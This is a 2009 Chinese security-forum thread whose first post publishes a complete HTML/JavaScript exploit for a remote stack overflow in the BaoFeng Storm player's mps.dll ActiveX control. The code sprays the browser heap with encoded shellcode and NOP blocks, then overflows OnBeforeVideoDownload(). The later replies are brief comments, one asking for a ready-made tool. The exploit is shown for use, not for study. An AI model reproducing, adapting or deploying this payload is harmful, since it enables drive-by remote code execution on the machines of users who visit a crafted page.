Board logo

标题: 暴风影音2009(mps.dll)ActiveX远程栈溢出利用代码 [打印本页]

作者: 柔肠寸断    时间: 2009-5-14 14:50     标题: 暴风影音2009(mps.dll)ActiveX远程栈溢出利用代码

暴风影音2009(mps.dll)ActiveX远程栈溢出利用代码
#
# BaoFeng (mps.dll) Remote Code Execution Exploit
# By: MITBOY
# Download: www.baofeng.com
#
# Problem DLL    :     mps.dll
# Problem Func   :   OnBeforeVideoDownload()
  1. <html>
  2. <body>
  3. <object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
  4. <input type="button" onclick="test()" value="test" />
  5. <script>
  6. function test()
  7. {
  8.     var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
  9.     var bigblock = unescape("%u9090%u9090");
  10.     var headersize = 20;
  11.     var slackspace = headersize+shellcode.length;
  12.     while (bigblock.length<slackspace)
  13.         bigblock+=bigblock;
  14.       
  15.     fillblock = bigblock.substring(0, slackspace);
  16.     block = bigblock.substring(0, bigblock.length-slackspace);
  17.     while(block.length+slackspace<0x40000)
  18.         block = block+block+fillblock;
  19.    
  20.     memory = new Array();
  21.     for (x=0; x<300; x++)
  22.         memory[x] = block + shellcode;
  23.     var buffer = '';
  24.     while (buffer.length < 4150)
  25.         buffer+="\x0c\x0c\x0c\x0c";
  26.     target.OnBeforeVideoDownload(buffer);
  27. }
  28. </script>
  29. </body>
  30. </html>
复制代码

作者: syjeyou    时间: 2009-5-17 21:19

看看看看往往
作者: EndTo偌枫    时间: 2009-6-20 09:09

只有代码,,难道就没工具吗 ,柔柔
作者: wyw12340    时间: 2009-8-12 12:14

1# 柔肠寸断


我汗~~  破解的太快了啊
作者: 冷酷鲨鱼    时间: 2010-4-15 07:12

汗。这么看不明白




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2